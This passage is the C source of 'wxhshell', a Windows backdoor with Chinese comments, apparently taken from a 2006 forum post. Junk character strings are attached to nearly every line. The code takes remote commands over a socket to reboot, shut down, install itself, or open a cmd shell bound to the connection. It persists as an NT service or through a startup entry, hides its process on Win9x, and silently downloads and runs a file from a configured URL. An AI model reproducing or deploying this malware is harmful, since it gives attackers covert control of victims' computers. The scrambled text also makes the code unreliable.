  // 帮助 qA04Vc[2  
  case '?': { ss*5.(y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y1nP F&_  
    break; _E&U?>g+  
  } X&/(x  
  // 安装 !%X>rGkc  
  case 'i': { #U:0/4P(  
    if(Install()) &D)Hz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DVbYShB  
    else G$|G w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X:DMT>5k  
    break; @f\ X4!e*y  
    } :bI,rEW#_  
  // 卸载 /8:gVXZi  
  case 'r': { }=TqJy1  
    if(Uninstall()) 9Il'E6 J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =#jTo|~u4o  
    else R&gWqt/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  ]LMiMj  
    break; i:;$oT  
    } a!&bc8J7  
  // 显示 wxhshell 所在路径 4bE42c=Ca7  
  case 'p': { 9OH.&g  
    char svExeFile[MAX_PATH]; X,&`WPA:S  
    strcpy(svExeFile,"\n\r"); 3Nc'3NPQ'  
      strcat(svExeFile,ExeFile); bKTqX[=  
        send(wsh,svExeFile,strlen(svExeFile),0); ]Kof sU_{  
    break; p1C_`f N,  
    } Q:kwQg:~  
  // 重启 GpScc'a7  
  case 'b': { wE)] ah:  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )7tV*=?Ic8  
    if(Boot(REBOOT)) e<kpcF5{\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xad G\_?t`  
    else { .[#xQ=9`  
    closesocket(wsh); LE<:.?<Z-  
    ExitThread(0); ^kc>m$HY  
    } -?[O"D"c  
    break; Tq.MubaO  
    } iOKr9%9?Z  
  // 关机  y/z9Ce*>  
  case 'd': { p!C_:Z5i  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xP XoJN  
    if(Boot(SHUTDOWN)) H^ESA s6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ',:3>{9  
    else { Y!bpOa&  
    closesocket(wsh); 3/SfUfWo  
    ExitThread(0); KsZ@kTs  
    } NJ.rv  
    break; ,"x23=]  
    } N`J:^,H  
  // 获取shell L00Sp#$\  
  case 's': { 2*N&q|ED  
    CmdShell(wsh); Og_2k ~  
    closesocket(wsh); M?QQr~a  
    ExitThread(0); 7YoofI  
    break; bXa %EMF  
  } tq2-.]Y@U  
  // 退出 `\Uc4lRS  
  case 'x': { t `N ">c"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >fW+AEt\JB  
    CloseIt(wsh); JHnk%h0  
    break; #(m `2Z`H  
    } [Od>NO,n+]  
  // 离开 vx({N?  
  case 'q': { d4b 9rtM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #9URVq,  
    closesocket(wsh); 8XLxT(YFIs  
    WSACleanup(); Y:DNu9  
    exit(1); .CIbpV?T  
    break; 3L'en  
        } F<6KaZ|  
  } #|)JD@;Q  
  } t-3v1cv"  
yg]suU<z]  
  // 提示信息 @m*&c*r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0sq=5 BnO  
} )pkhir06t  
  } oG|?F4l*  
vo:52tCk}m  
  return; O|A~dj `  
} @9 n #vs  
0IoXDx  
// shell模块句柄 G1`mn$`kq  
int CmdShell(SOCKET sock) w`H.ey  
{ [Q2S3szbt6  
STARTUPINFO si; 7j9D;_(.^$  
ZeroMemory(&si,sizeof(si)); <~IH`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 0X ] ekq  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T4%i`<i  
PROCESS_INFORMATION ProcessInfo; WZ-4^WM=!  
char cmdline[]="cmd"; r[C3u[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D#vn {^c8O  
  return 0; tJ(c<:zD  
} wgSR*d>y*9  
-D.B J(  
// 自身启动模式 gb!@OZ c  
int StartFromService(void) eONeWY9  
{ .y/NudD  
typedef struct rCnV5Yb0O  
{ d/ 'A\"o+  
  DWORD ExitStatus; | TQedC  
  DWORD PebBaseAddress; 3&drof\{  
  DWORD AffinityMask; g]EQ2g_N1  
  DWORD BasePriority; >/ *?4  
  ULONG UniqueProcessId; CSd9\V  
  ULONG InheritedFromUniqueProcessId; ~:P8g<w  
}   PROCESS_BASIC_INFORMATION; Pj1K  
v*C+U$_3\1  
PROCNTQSIP NtQueryInformationProcess; lx A<iQia  
ZNL;8sI?>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Z9 ;nC zHm  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V7K tbL#  
($ [r>)TG  
  HANDLE             hProcess; AAlmG9l&7  
  PROCESS_BASIC_INFORMATION pbi; ~PU1vbv9T  
"NX m\`8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [9YlLL@  
  if(NULL == hInst ) return 0; E :'  
dy8In%  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,q'gG`M N  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); eMpEFY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g%fJyk'  
B $ y44  
  if (!NtQueryInformationProcess) return 0; q N[\J7Pz9  
zd6Qw-D7x  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "tg\yem  
  if(!hProcess) return 0; Pp JE|[]  
$BR=IYby  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %%-U .   
R%]9y]HQ  
  CloseHandle(hProcess); &<fRej]v  
!~w6"%2+7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?@g;[310`  
if(hProcess==NULL) return 0; PJSDY1T  
&}L36|A:  
HMODULE hMod; Eezlx9b  
char procName[255]; $Z(g=nS>  
unsigned long cbNeeded; V{AH\IV-  
r0hta)xa  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); buC m @@o  
"Dmw -  
  CloseHandle(hProcess); vP87{J*DE1  
0^)8*O9$  
if(strstr(procName,"services")) return 1; // 以服务启动 E{+c*sz  
98b9%Z'2f  
  return 0; // 注册表启动 Z)6nu)  
} ZB_16&2Ow  
**w*hd]  
// 主模块 gn[$;*932z  
int StartWxhshell(LPSTR lpCmdLine)  n_xa)  
{ <De3mZb  
  SOCKET wsl; cciAMQhA  
BOOL val=TRUE; 0c\|S>g [  
  int port=0; !mErt2UJl  
  struct sockaddr_in door; YjIED,eRv  
qqz,~EhC  
  if(wscfg.ws_autoins) Install(); `1[Sv"  
;f ;*Q>!  
port=atoi(lpCmdLine); p.TiTFu/  
yTq(x4]  
if(port<=0) port=wscfg.ws_port; ;+TF3av0zq  
g.`t!6Hc  
  WSADATA data; wCC~tuTpr  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :)+@qxTy  
} {gWTp  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   oZ*=7u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ffoo^1}1  
  door.sin_family = AF_INET; 4MF}FS2)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q 2SSJ  
  door.sin_port = htons(port); n[MIa]dK  
o,''f_tRQ|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { asmW W8lz  
closesocket(wsl); abJ@>7V  
return 1; 3qxG?G N  
} jFPE>F7-M  
}JpslY*aS  
  if(listen(wsl,2) == INVALID_SOCKET) { Edn$0D68u_  
closesocket(wsl); 0P%|)Ae  
return 1; bh;b` 5  
} xn x1`|1u  
  Wxhshell(wsl); ]\9B?W(#  
  WSACleanup(); OL ]T+6X  
)zL"r8si  
return 0; XB!`*vZ/<  
}r<@o3t  
} \Q?|gfJH  
M\.T 0M_  
// 以NT服务方式启动 [nPzh Xs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FOUs= E[  
{ <*(UvOQuX  
DWORD   status = 0; oN6*WN tJ  
  DWORD   specificError = 0xfffffff; g%q?2Nv  
Qdx`c^4m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X5oW[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; X^_+%U  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xO9]yULgu  
  serviceStatus.dwWin32ExitCode     = 0; Z\gg<Q  
  serviceStatus.dwServiceSpecificExitCode = 0; 9snyX7/!L  
  serviceStatus.dwCheckPoint       = 0; '__3[D  
  serviceStatus.dwWaitHint       = 0; { d2f)ra.  
'*LN)E> d  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); hZ\W ?r  
  if (hServiceStatusHandle==0) return; U0bE B  
'B<qG<>  
status = GetLastError(); m5;[,He  
  if (status!=NO_ERROR) #+ lq7HJ1  
{ Sc"4%L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vL=--#  
    serviceStatus.dwCheckPoint       = 0; 6`5 @E\"E  
    serviceStatus.dwWaitHint       = 0; #ZnX6=;X  
    serviceStatus.dwWin32ExitCode     = status; x V 1Z&l  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3_eml\CY  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?o(X0  
    return; b\Xu1>  
  } +_XbHjhN/  
*ZSp9g"Z  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; u+tb83 ~[=  
  serviceStatus.dwCheckPoint       = 0; e'?d oP  
  serviceStatus.dwWaitHint       = 0; ~ ew**@N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^(m6g&$(  
} =|JIY  
]{6yS9_tuI  
// 处理NT服务事件,比如:启动、停止 Q}f}Jf3P  
VOID WINAPI NTServiceHandler(DWORD fdwControl) N5an9r&z(1  
{ 0qd;'r<  
switch(fdwControl) $I6eHjYT  
{ io33+/  
case SERVICE_CONTROL_STOP: GqD!W8+  
  serviceStatus.dwWin32ExitCode = 0; i6ypx  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZYD88kQ  
  serviceStatus.dwCheckPoint   = 0; |KrG3-i3X  
  serviceStatus.dwWaitHint     = 0; .8PO7#  
  { <pl2 dxy  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %d#)({N  
  } $J0~2TV<  
  return; Gx*0$4xJ3  
case SERVICE_CONTROL_PAUSE: [.Wt,zrE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 1 GHgwT  
  break; .fh?=B[o#  
case SERVICE_CONTROL_CONTINUE: M^JZ]W(  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; dVG UhXN6  
  break; ,t&-`U]AX  
case SERVICE_CONTROL_INTERROGATE: ~md|k  
  break; ^FMa8;'o  
}; .rB;zA;4S)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]3y5b9DuW  
} &MQt2aL  
*u4X<oBS*  
// 标准应用程序主函数 kRXg."b(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~$ qJw?r  
{ |>}0? '/]  
WKJL< D ]:  
// 获取操作系统版本 }nY^T&?`  
OsIsNt=GetOsVer(); f]A6Mx6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); `rdfROKv  
WAmoKZw2  
  // 从命令行安装 R6$F<;nw  
  if(strpbrk(lpCmdLine,"iI")) Install(); GV@E<dg$R  
<^'+ ]?  
  // 下载执行文件 pBnf^Ew1  
if(wscfg.ws_downexe) { -GWzMBS S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) dQ|Ht[ s=  
  WinExec(wscfg.ws_filenam,SW_HIDE); @N_H]6z4  
} yz$1qEII`q  
HN~4-6[q  
if(!OsIsNt) { Aag)c~D  
// 如果时win9x,隐藏进程并且设置为注册表启动 2hC$"Dfp  
HideProc(); 'U{: zBh  
StartWxhshell(lpCmdLine); 3jeV4|  
} v4##(~Tu  
else n_&)VF#n(  
  if(StartFromService()) @ h`Zn1;  
  // 以服务方式启动 H_=[~mJ  
  StartServiceCtrlDispatcher(DispatchTable); NEou2y+}  
else qVe6RpS  
  // 普通方式启动 vMdhNOU  
  StartWxhshell(lpCmdLine); Lz{T8yvZ  
2&K|~~  
return 0; Wk6&TrWlY  
}
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只看该作者 1 发表于: 2006-10-10
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